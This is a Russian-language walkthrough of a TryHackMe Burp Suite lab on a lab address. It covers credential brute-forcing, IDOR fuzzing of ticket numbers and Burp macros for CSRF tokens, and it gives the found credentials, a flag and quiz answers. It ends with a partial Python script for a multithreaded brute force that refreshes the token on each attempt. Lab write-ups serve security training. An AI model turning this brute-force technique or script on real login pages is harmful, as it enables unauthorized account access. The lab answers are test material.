    &lt;li id=&quot;MixM&quot;&gt;Нажмите кнопку &lt;strong&gt;«Начать атаку»&lt;/strong&gt; , чтобы начать атаку с использованием подбора учетных данных. Может появиться предупреждение об ограничении скорости запросов; нажмите &lt;strong&gt;«ОК»&lt;/strong&gt; , чтобы продолжить. Атака займет несколько минут в Burp Community.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;cqDJ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a2/a3/a2a309f4-0021-4e56-bbdc-7eba0853e5c1.png&quot; width=&quot;151&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;kEP3&quot;&gt;
    &lt;li id=&quot;g8io&quot;&gt;После начала атаки в новом окне отобразятся результаты запросов. Однако, поскольку Burp отправил 100 запросов, нам необходимо определить, какой из них (или какие) оказался (были) успешным. Поскольку коды состояния ответа не позволяют различать успешные и неудачные попытки (все они представляют собой перенаправления 302), нам необходимо использовать длину ответа для их различения. Чтобы отсортировать результаты по длине в байтах, щелкните заголовок столбца «Длина». Найдите запрос с меньшей длиной ответа, что указывает на успешную попытку входа в систему.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;hrjy&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/ce/c1/cec1ad1d-bcb6-4d87-94c6-2305a64a9b92.png&quot; width=&quot;735&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;awHX&quot;&gt;
    &lt;li id=&quot;WxMT&quot;&gt;Для подтверждения успешной попытки входа в систему используйте учетные данные из запроса с более короткой длиной ответа.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;fH4d&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9e/a7/9ea7d440-90ea-43dd-bc20-5e4cc023ec97.png&quot; width=&quot;120&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Thbx&quot;&gt;получаем &lt;/p&gt;
  &lt;figure id=&quot;dQjN&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/12/e4/12e4c5a7-aabe-4c5f-ab07-89bc1a34cb81.png&quot; width=&quot;1320&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9hmh&quot;&gt;Payload 1:	m.rivera&lt;br /&gt;Payload 2:	letmein1&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;F62Y&quot;&gt;Вопрос: Какая комбинация имени пользователя и пароля указывает на успешный вход в систему? Формат ответа: &amp;quot;имя пользователя:пароль&amp;quot;.&lt;/p&gt;
    &lt;p id=&quot;MZEu&quot;&gt;Ответ: m.rivera:letmein1&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;kGLC&quot;&gt;11. Практическая задача&lt;/h2&gt;
  &lt;p id=&quot;Xgce&quot;&gt;Получив доступ к системе поддержки, мы теперь можем изучить ее функциональные возможности и посмотреть, какие действия мы можем выполнить.&lt;/p&gt;
  &lt;figure id=&quot;9kTK&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/26/5f/265f1491-58b0-4f52-8b8e-997e66dd98b8.png&quot; width=&quot;892&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;K99e&quot;&gt;При переходе на главную страницу отображается таблица с различными заявками. Нажатие на любую строку перенаправляет на страницу, где можно просмотреть полную заявку. Изучив структуру URL-адресов, мы видим, что эти страницы пронумерованы в следующем формате:&lt;/p&gt;
  &lt;p id=&quot;UaLe&quot;&gt;&lt;code&gt;http://10.49.129.42/support/ticket/NUMBER&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;zuNa&quot;&gt;Система нумерации указывает на то, что билетам присваиваются целочисленные идентификаторы, а не сложные и трудноугадываемые номера. Эта информация важна, поскольку она предполагает два возможных сценария:&lt;/p&gt;
  &lt;ol id=&quot;FFWZ&quot;&gt;
    &lt;li id=&quot;6kAS&quot;&gt;&lt;strong&gt;Контроль доступа&lt;/strong&gt; : Конечная точка может быть правильно настроена для ограничения доступа только к заявкам, назначенным текущему пользователю. В этом случае мы можем просматривать только заявки, связанные с нашей учетной записью.&lt;/li&gt;
    &lt;li id=&quot;zmc1&quot;&gt;&lt;strong&gt;Уязвимость IDOR&lt;/strong&gt; : Кроме того, на конечной точке могут отсутствовать надлежащие средства контроля доступа, что приводит к уязвимости, известной как &lt;strong&gt;небезопасные прямые ссылки на объекты&lt;/strong&gt; (IDOR). В этом случае мы потенциально можем использовать уязвимость системы и прочитать все существующие билеты, независимо от назначенного пользователя.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;KAjk&quot;&gt;Для дальнейшего исследования мы воспользуемся инструментом Intruder для фаззинга &lt;code&gt;/support/ticket/NUMBER&lt;/code&gt;конечной точки. Этот подход поможет нам определить, правильно ли настроена конечная точка или присутствует ли уязвимость типа IDOR . Давайте приступим к процессу фаззинга!&lt;/p&gt;
  &lt;p id=&quot;2WoS&quot;&gt;забираем страничку в интрудер&lt;/p&gt;
  &lt;figure id=&quot;ainp&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/47/b9/47b90e8c-d4f1-4398-ac7f-f13ad8bf5301.png&quot; width=&quot;811&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;c0yW&quot;&gt;указываем что перебираем&lt;/p&gt;
  &lt;figure id=&quot;h2Mv&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/09/86/0986022a-a58c-426c-b86b-5d97ae9e44a6.png&quot; width=&quot;794&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Z7u3&quot;&gt;в пайлоде указываем числа и ставим от 0 до 1000&lt;/p&gt;
  &lt;figure id=&quot;btnj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/67/bc/67bcf9c5-41fc-4345-a7f3-29d1b6ba5cb1.png&quot; width=&quot;532&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;IepX&quot;&gt;Атака&lt;/p&gt;
  &lt;figure id=&quot;ct4v&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/03/cc/03cccd3b-ee46-4675-a4ec-3c8605b9a0c9.png&quot; width=&quot;126&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;qikC&quot;&gt;Видим что нашлось 6 - 57 - 78 - мы про них знали, но появились новые 47 и 83&lt;/p&gt;
  &lt;figure id=&quot;PJ9W&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/cc/da/ccda0d3a-cb42-4003-87fc-7062d0d6d1e5.png&quot; width=&quot;1377&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ZqrJ&quot;&gt;47&lt;/p&gt;
  &lt;figure id=&quot;kHtR&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a5/5a/a55a45bb-6446-441c-a328-c47945ab8cde.png&quot; width=&quot;794&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wEci&quot;&gt;83 - итог идор уязвимость есть&lt;/p&gt;
  &lt;figure id=&quot;RzTU&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/70/e1/70e1d163-c12e-4ddc-a40b-781eac885a49.png&quot; width=&quot;881&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;I4m6&quot;&gt;&lt;strong&gt;Примечание:&lt;/strong&gt; Вам необходимо отправить запрос, находясь в системе.&lt;/p&gt;
    &lt;p id=&quot;hahI&quot;&gt;Вопрос: Какой тип атаки лучше всего подходит для решения этой задачи?&lt;/p&gt;
    &lt;p id=&quot;yHEW&quot;&gt;Ответ: Sniper&lt;/p&gt;
    &lt;p id=&quot;xm9W&quot;&gt;Вопрос: Что это за флаг?&lt;/p&gt;
    &lt;p id=&quot;lR8t&quot;&gt;Ответ:THM{MTMxNTg5NTUzMWM0OWRlYzUzMDVjMzJl}&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;9lGh&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;0Lvn&quot;&gt;12. Испытание «Дополнительная миля»&lt;/h2&gt;
  &lt;p id=&quot;BCaJ&quot;&gt;В этом дополнительном упражнении мы рассмотрим более сложный вариант атаки с подбором учетных данных, которую мы проводили ранее. Однако на этот раз были приняты дополнительные меры, чтобы усложнить перебор паролей. Если вы умеете использовать Burp Macros, вы можете попробовать выполнить это задание без приведенных ниже инструкций. В противном случае, давайте перейдем к пошаговому руководству.&lt;/p&gt;
  &lt;h4 id=&quot;p1Pz&quot;&gt;Обработка запроса&lt;/h4&gt;
  &lt;p id=&quot;GG8r&quot;&gt;Для начала перехватите запрос &lt;a href=&quot;http://10.49.129.42/admin/login/&quot; target=&quot;_blank&quot;&gt;http://10.49.129.42/admin/login/&lt;/a&gt;и проанализируйте ответ. Вот пример ответа:&lt;/p&gt;
  &lt;figure id=&quot;bF3l&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/62/11/621156c0-8adc-43d8-980a-76b56dec8c0e.png&quot; width=&quot;683&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;KGqu&quot;&gt;Пример ответа&lt;/p&gt;
  &lt;pre id=&quot;dNvt&quot;&gt;HTTP/1.1 200 OK
Сервер: nginx/1.18.0 (Ubuntu)
Дата: пятница, 20 августа 2021 г., 22:31:16 по Гринвичу
Content-Type: text/html; charset=utf-8
Соединение: закрыто
Set-Cookie: session=eyJ0b2tlbklEIjoiMzUyNTQ5ZjgxZDRhOTM5YjVlMTNlMjIzNmI0ZDlkOGEifQ.YSA-mQ.ZaKKsUnNsIb47sjlyux_LN8Qst0 ; HttpOnly; Path=/
Разные: Печенье
Front-End-Https: on
Content-Length: 3922
---
&amp;lt;form method=&amp;quot;POST&amp;quot;&amp;gt;
    &amp;lt;div class=&amp;quot;form-floating mb-3&amp;quot;&amp;gt;
        &amp;lt;input class=&amp;quot;form-control&amp;quot; type=&amp;quot;text&amp;quot; name=username placeholder=&amp;quot;Имя пользователя&amp;quot; required&amp;gt;
        &amp;lt;label for=&amp;quot;username&amp;quot;&amp;gt;Имя пользователя&amp;lt;/label&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div class=&amp;quot;form-floating mb-3&amp;quot;&amp;gt;
        &amp;lt;input class=&amp;quot;form-control&amp;quot; type=&amp;quot;password&amp;quot; name=password placeholder=&amp;quot;Пароль&amp;quot; required&amp;gt;
        &amp;lt;label for=&amp;quot;password&amp;quot;&amp;gt;Пароль&amp;lt;/label&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;loginToken&amp;quot; value=&amp;quot;84c6358bbf1bd8000b6b63ab1bd77c5e&amp;quot;&amp;gt;
    &amp;lt;div class=&amp;quot;d-grid&amp;quot;&amp;gt;&amp;lt;button class=&amp;quot;btn btn-warning btn-lg&amp;quot; type=&amp;quot;submit&amp;quot;&amp;gt;Войти!&amp;lt;/button&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/form&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;d0CR&quot;&gt;В этом ответе мы видим, что помимо полей имени пользователя и пароля, теперь установлен сессионный cookie, а также токен CSRF ( &lt;strong&gt;Cross-Site Request Forgery&lt;/strong&gt; ) в форме в виде скрытого поля. Обновление страницы показывает, что и &lt;strong&gt;сессионный&lt;/strong&gt; cookie, и &lt;strong&gt;loginToken&lt;/strong&gt; изменяются при каждом запросе. Это означает, что при каждой попытке входа в систему нам необходимо извлекать действительные значения как для сессионного cookie, так и для loginToken.&lt;/p&gt;
  &lt;p id=&quot;Ot5O&quot;&gt;Для этого мы будем использовать &lt;strong&gt;макросы Burp&lt;/strong&gt; , чтобы определить повторяющийся набор действий (макрос), которые будут выполняться перед каждым запросом. Этот макрос будет извлекать уникальные значения для cookie сессии и loginToken, заменяя их в каждом последующем запросе нашей атаки.&lt;/p&gt;
  &lt;h4 id=&quot;REgn&quot;&gt;Учебное пособие&lt;/h4&gt;
  &lt;ol id=&quot;nN6K&quot;&gt;
    &lt;li id=&quot;ki3R&quot;&gt;Перейдите по ссылке  &lt;a href=&quot;http://10.49.129.42/admin/login/&quot; target=&quot;_blank&quot;&gt;http://10.49.129.42/admin/login/&lt;/a&gt;. Активируйте &lt;strong&gt;функцию «Перехват»&lt;/strong&gt; в модуле «Прокси» и попробуйте войти в систему. Перехватите запрос и отправьте его в Intruder.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;p90Y&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/83/14/83146ebf-8c29-4e97-b15a-2166a52b5c57.png&quot; width=&quot;1377&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;83yP&quot;&gt;
    &lt;li id=&quot;uU0Y&quot;&gt;Настройте позиции так же, как мы это делали для подбора паролей для входа в службу поддержки методом перебора:&lt;/li&gt;
    &lt;ul id=&quot;h9N1&quot;&gt;
      &lt;li id=&quot;pYUi&quot;&gt;Установите тип атаки на «Pitchfork».&lt;/li&gt;
      &lt;li id=&quot;VY6l&quot;&gt;Очистите все предопределенные позиции и выберите только поля ввода имени пользователя и пароля. Наш макрос обработает оставшиеся две позиции.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;lSbW&quot;&gt;Теперь перейдите на вкладку «Полезные нагрузки» и загрузите те же списки имен пользователей и паролей, которые мы использовали для атаки на вход в службу поддержки. До этого момента мы настраивали Intruder практически так же, как и при предыдущей атаке с использованием украденных учетных данных; вот здесь-то все и начинает усложняться.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;fOp0&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0b/85/0b85de65-e2e3-4fee-95a3-f4e639d2df75.png&quot; width=&quot;499&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;qe1q&quot;&gt;
    &lt;li id=&quot;9TYW&quot;&gt;После обработки параметров имени пользователя и пароля нам нужно найти способ получить постоянно меняющийся loginToken и cookie сессии. К сожалению, &amp;quot;рекурсивный grep&amp;quot; здесь не сработает из-за ответа перенаправления, поэтому мы не можем сделать это полностью в Intruder — нам потребуется создать макрос. Макросы позволяют нам многократно выполнять один и тот же набор действий. В данном случае мы просто хотим отправить GET-запрос на адрес &lt;code&gt;/admin/login/&lt;/code&gt;.К счастью, настройка — довольно простой процесс. В этом процессе, сравнительно говоря, много этапов, поэтому на следующем GIF-изображении показан весь процесс:&lt;/li&gt;
    &lt;ul id=&quot;lHwH&quot;&gt;
      &lt;li id=&quot;KShk&quot;&gt;Перейдите на главную вкладку «Настройки» в правом верхнем углу Burp.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;H4UO&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8e/42/8e423cd7-a153-4d4b-a12f-4f7af6832eb8.png&quot; width=&quot;239&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;jC6R&quot;&gt;
    &lt;ul id=&quot;9xqy&quot;&gt;
      &lt;li id=&quot;DcCw&quot;&gt;Нажмите на категорию &amp;quot;Сессии&amp;quot;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;n9Hm&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/97/45/9745ae20-4d50-4f71-88ee-d37e5a37e591.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;Re4g&quot;&gt;
    &lt;ul id=&quot;RZ8O&quot;&gt;
      &lt;li id=&quot;9LTs&quot;&gt;Прокрутите страницу вниз до раздела «Макросы» и нажмите кнопку &lt;strong&gt;«Добавить»&lt;/strong&gt; .&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;MZ4W&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b2/3b/b23b697d-c3c4-4911-b898-d840b9c34046.png&quot; width=&quot;875&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;x7jt&quot;&gt;
    &lt;ul id=&quot;y8YS&quot;&gt;
      &lt;li id=&quot;8o53&quot;&gt;В появившемся меню отобразится история наших запросов. Если в списке еще нет GET-запроса  &lt;a href=&quot;http://10.49.129.42/admin/login/&quot; target=&quot;_blank&quot;&gt;http://10.49.129.42/admin/login/&lt;/a&gt; , перейдите по этой ссылке в браузере, и вы увидите подходящий запрос в списке.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;6XHw&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/75/3b/753b4f48-2e39-4d1f-a4f5-0429590174ab.png&quot; width=&quot;1086&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;USKg&quot;&gt;
    &lt;ul id=&quot;kqnG&quot;&gt;
      &lt;li id=&quot;SVFW&quot;&gt;Выбрав запрос, нажмите &lt;strong&gt;ОК&lt;/strong&gt; .&lt;/li&gt;
      &lt;li id=&quot;5r9F&quot;&gt;Наконец, дайте макросу подходящее имя, а затем снова нажмите кнопку &lt;strong&gt;ОК,&lt;/strong&gt; чтобы завершить процесс.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;tv3v&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/cf/2e/cf2ee866-64a7-4887-931c-315b57b4b63a.png&quot; width=&quot;376&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;jpFa&quot;&gt;
    &lt;li id=&quot;jQoc&quot;&gt;Теперь, когда макрос определен, нам необходимо установить правила обработки сессий, которые определяют, как следует использовать макрос.&lt;/li&gt;
    &lt;ul id=&quot;hvZV&quot;&gt;
      &lt;li id=&quot;ly6P&quot;&gt;Оставаясь в разделе «Сессии» основных настроек, прокрутите вверх до раздела «Правила обработки сессий» и выберите « &lt;strong&gt;Добавить&lt;/strong&gt; новое правило».&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;TppC&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a2/54/a254a70a-750f-4534-9b57-d4cc9b1d9015.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;G2xj&quot;&gt;
    &lt;ul id=&quot;0937&quot;&gt;
      &lt;li id=&quot;yDIl&quot;&gt;Откроется новое окно с двумя вкладками: «Подробности» и «Область применения». По умолчанию мы находимся на вкладке «Подробности».&lt;/li&gt;
      &lt;li id=&quot;obks&quot;&gt;Введите соответствующее описание, затем перейдите на вкладку «Область применения».&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;1cZf&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/25/56/2556b966-d940-4e5b-8a52-5b95182ea3bc.png&quot; width=&quot;737&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;Vu7j&quot;&gt;
    &lt;ul id=&quot;fhU9&quot;&gt;
      &lt;li id=&quot;VubM&quot;&gt;В разделе «Область применения инструментов» снимите флажки со всех полей, кроме «Нарушитель» — нам не нужно, чтобы это правило применялось где-либо еще.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;xZcO&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fa/7d/fa7dbf81-7dce-496b-882a-e4c886cbf29b.png&quot; width=&quot;455&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;BzRk&quot;&gt;
    &lt;ul id=&quot;n8ul&quot;&gt;
      &lt;li id=&quot;nFpT&quot;&gt;В разделе «Область действия URL» выберите «Использовать область действия набора инструментов»; это настроит макрос на работу только с сайтами, добавленными в глобальную область действия (как обсуждалось в &lt;a href=&quot;https://tryhackme.com/room/burpsuitebasics&quot; target=&quot;_blank&quot;&gt;разделе «Основы Burp&lt;/a&gt; »). Если вы не задали глобальную область действия, оставьте параметр «Использовать пользовательскую область действия» по умолчанию и добавьте &lt;a href=&quot;http://10.49.129.42/&quot; target=&quot;_blank&quot;&gt;http://10.49.129.42/&lt;/a&gt;в эту область действия.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;3Mf8&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ed/db/eddb5da3-4123-4271-8e77-a96f6b68c1d9.png&quot; width=&quot;494&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;Olxy&quot;&gt;
    &lt;li id=&quot;H9KK&quot;&gt;Теперь нам нужно вернуться на вкладку «Подробности» и посмотреть раздел «Действия правила». В текущем виде этот макрос будет перезаписывать все параметры в наших запросах Intruder перед их отправкой; это замечательно, поскольку это означает, что токены авторизации и сессионные cookie будут добавлены непосредственно в наши запросы. Тем не менее, перед началом атаки следует ограничить круг обновляемых параметров и cookie:Следующий GIF-файл демонстрирует заключительный этап процесса:&lt;/li&gt;
    &lt;ul id=&quot;YkUt&quot;&gt;
      &lt;li id=&quot;JibL&quot;&gt;Нажмите кнопку &lt;strong&gt;«Добавить»&lt;/strong&gt;  — появится выпадающее меню со списком действий, которые можно добавить.&lt;/li&gt;
      &lt;li id=&quot;rMJw&quot;&gt;Выберите пункт «Запустить макрос» из этого списка.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;qSdk&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8f/3b/8f3b9e4d-6e1a-454e-a94b-8b57ca30e458.png&quot; width=&quot;740&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;q2uf&quot;&gt;
    &lt;ul id=&quot;jTyr&quot;&gt;
      &lt;li id=&quot;vDy5&quot;&gt;В появившемся новом окне выберите макрос, который мы создали ранее.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;AzC3&quot;&gt;
      &lt;li id=&quot;g3vl&quot;&gt;Выберите «Обновить только следующие параметры и заголовки», затем нажмите кнопку « &lt;strong&gt;Редактировать»&lt;/strong&gt;  рядом с полем ввода под переключателем.&lt;/li&gt;
      &lt;li id=&quot;FXdp&quot;&gt;В текстовом поле «Введите новый элемент» введите «loginToken». Нажмите &lt;strong&gt;«Добавить»&lt;/strong&gt; , затем &lt;strong&gt;«Закрыть»&lt;/strong&gt; .&lt;/li&gt;
      &lt;li id=&quot;zUsD&quot;&gt;Выберите «Обновить только следующие файлы cookie», затем нажмите соответствующую кнопку &lt;strong&gt;«Редактировать»&lt;/strong&gt; .&lt;/li&gt;
      &lt;li id=&quot;8GHp&quot;&gt;Введите &amp;quot;session&amp;quot; в текстовое поле &amp;quot;Введите новый элемент&amp;quot;. Нажмите &amp;quot; &lt;strong&gt;Добавить&amp;quot;&lt;/strong&gt; , затем &lt;strong&gt;&amp;quot;Закрыть&amp;quot;&lt;/strong&gt; .&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;qwhh&quot;&gt;&lt;/p&gt;
  &lt;ol id=&quot;pVm9&quot;&gt;
    &lt;ul id=&quot;nn8D&quot;&gt;
      &lt;li id=&quot;BpGS&quot;&gt;Наконец, нажмите кнопку &lt;strong&gt;ОК&lt;/strong&gt; , чтобы подтвердить действие.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;Or68&quot;&gt;Нажмите &lt;strong&gt;ОК&lt;/strong&gt; , и готово!&lt;/li&gt;
    &lt;li id=&quot;Epwz&quot;&gt;Теперь у вас должен быть определен макрос, который будет подставлять токен CSRF и cookie сессии. Осталось только переключиться обратно на Intruder и начать атаку! &lt;strong&gt;Примечание:&lt;/strong&gt; В ходе этой атаки на каждый запрос должен приходить ответ с кодом состояния 302. Если вы видите ошибки 403, значит, ваш макрос работает некорректно.&lt;/li&gt;
    &lt;li id=&quot;31ut&quot;&gt;Как и в случае с атакой с использованием украденных учетных данных для входа в службу поддержки, коды ответов здесь одинаковы (302 Redirects). Снова отсортируйте ответы по длине, чтобы найти действительные учетные данные. Результаты будут не такими однозначными, как в прошлый раз – вы увидите довольно много ответов разной длины, однако ответ, указывающий на успешный вход в систему, все равно должен быть значительно короче.&lt;/li&gt;
    &lt;li id=&quot;mxaS&quot;&gt;Используйте найденные вами учетные данные для входа в систему (возможно, вам потребуется обновить страницу входа перед вводом учетных данных).&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;z9dZ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/86/6f/866ff8e3-4777-416f-9d4a-531acccb4f22.gif&quot; width=&quot;1274&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;EzmI&quot;&gt;ну по итогу у меня не получилось, но выручил ИИ быстрый PoC всегда можно написать на коленке&lt;/p&gt;
  &lt;figure id=&quot;Y3uX&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bd/f7/bdf7c306-76f2-473a-a023-701c71a35c34.png&quot; width=&quot;418&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;cVfr&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;ZitN&quot;&gt;Если кому то надо вот&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;TJbh&quot;&gt;&lt;code&gt;#!/usr/bin/env python3&lt;br /&gt;&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;Multi-threaded brute-force login with dynamic session cookie + CSRF token.&lt;br /&gt;For educational / CTF lab use only.&lt;br /&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;jpeq&quot;&gt;&lt;code&gt;import requests&lt;br /&gt;import re&lt;br /&gt;import sys&lt;br /&gt;import threading&lt;br /&gt;from concurrent.futures import ThreadPoolExecutor, as_completed&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;7pUH&quot;&gt;&lt;code&gt;# ─── CONFIG ───────────────────────────────────────────────────────────&lt;br /&gt;TARGET       = &amp;quot;http://10.49.129.42&amp;quot;&lt;br /&gt;LOGIN_URL    = f&amp;quot;{TARGET}/admin/login/&amp;quot;&lt;br /&gt;USERNAMES    = &amp;quot;/home/kali/Desktop/passbastion/usernames.txt&amp;quot;&lt;br /&gt;PASSWORDS    = &amp;quot;/home/kali/Desktop/passbastion/passwords.txt&amp;quot;&lt;br /&gt;THREADS      = 100    # ← подкрути под свою машину / лабу (10-30)&lt;br /&gt;TIMEOUT      = 10&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;LyVX&quot;&gt;&lt;code&gt;TOKEN_RE = re.compile(r&amp;#x27;name=&amp;quot;loginToken&amp;quot;\s+value=&amp;quot;([^&amp;quot;]+)&amp;quot;&amp;#x27;)&lt;br /&gt;FAIL_MARKERS = [&amp;quot;Invalid credentials&amp;quot;, &amp;quot;incorrect&amp;quot;, &amp;quot;invalid&amp;quot;, &amp;quot;Войти!&amp;quot;, &amp;quot;login&amp;quot;]&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;q7vb&quot;&gt;&lt;code&gt;# Shared state&lt;br /&gt;found = threading.Event()&lt;br /&gt;counter = 0&lt;br /&gt;counter_lock = threading.Lock()&lt;br /&gt;total = 0&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;HwUy&quot;&gt;&lt;code&gt;&lt;br /&gt;def load_wordlist(path: str) -&amp;gt; list[str]:&lt;br /&gt;    with open(path, &amp;quot;r&amp;quot;, encoding=&amp;quot;utf-8&amp;quot;, errors=&amp;quot;ignore&amp;quot;) as f:&lt;br /&gt;        return [line.strip() for line in f if line.strip()]&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;qK65&quot;&gt;&lt;code&gt;&lt;br /&gt;def try_login(user: str, pwd: str) -&amp;gt; tuple[bool, str, str]:&lt;br /&gt;    &amp;quot;&amp;quot;&amp;quot;One attempt: GET fresh token → POST creds → check result.&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;    global counter&lt;br /&gt;    if found.is_set():&lt;br /&gt;        return False, user, pwd&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;dCoi&quot;&gt;&lt;code&gt;    s = requests.Session()&lt;br /&gt;    resp = s.get(LOGIN_URL, timeout=TIMEOUT)&lt;br /&gt;    m = TOKEN_RE.search(resp.text)&lt;br /&gt;    if not m:&lt;br /&gt;        return False, user, pwd&lt;br /&gt;    token = m.group(1)&lt;/code&gt;&lt;/p&gt;
